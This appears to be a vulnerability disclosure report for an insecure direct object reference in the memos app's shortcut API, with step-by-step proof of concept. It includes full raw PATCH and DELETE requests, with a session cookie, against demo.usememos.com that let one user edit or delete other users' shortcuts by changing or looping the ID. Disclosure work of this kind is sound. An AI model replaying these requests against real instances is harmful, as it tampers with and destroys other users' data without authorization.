Description

Users can edit and delete all other user shortcuts

Proof of Concept

Step 1. Log in as user A and make a shortcuts

Step 2. View shortcut information including: ID, rowStatus, title, payload... (For ex: user A creates a shortcut with ID 10)

Step 3. Log in as user B and make a shortcuts. Edit the shortcut just created

Step 4. Change the ID parameter to 10 to edit the user shortcut A

PATCH /api/shortcut/{xxxxxx} HTTP/2
Host: demo.usememos.com
Cookie: memos_session=MTY3MTgyNDY4NnxEdi1EQkFFQ180UUFBUkFCRUFBQUhfLUVBQUVHYzNSeWFXNW5EQWtBQjNWelpYSXRhV1FEYVc1MEJBTUFfOVk9fNlvQXhvAKsL-KBRMeChYqY8YzrDNpSUSOCFBCuZDczv
Content-Length: 42
Sec-Ch-Ua: "Not?A_Brand";v="8", "Chromium";v="108"
Accept: application/json, text/plain, */*
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://demo.usememos.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.usememos.com/?shortcutId=8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"id": xxxxxxxx ,"title":"Demo IDOR by user B","payload":"[]"}

Step 5. Remove all user shortcuts by replacing the loop ID

DELETE /api/shortcut/{xxxxxx} HTTP/2
Host: demo.usememos.com
Cookie: memos_session=MTY3MTgyNDY4NnxEdi1EQkFFQ180UUFBUkFCRUFBQUhfLUVBQUVHYzNSeWFXNW5EQWtBQjNWelpYSXRhV1FEYVc1MEJBTUFfOVk9fNlvQXhvAKsL-KBRMeChYqY8YzrDNpSUSOCFBCuZDczv
Sec-Ch-Ua: "Not?A_Brand";v="8", "Chromium";v="108"
Accept: application/json, text/plain, */*
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://demo.usememos.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.usememos.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Impact

This vulnerability allows users edit and delete all other user shortcuts, it also affects Integrity of the component as the user modifies information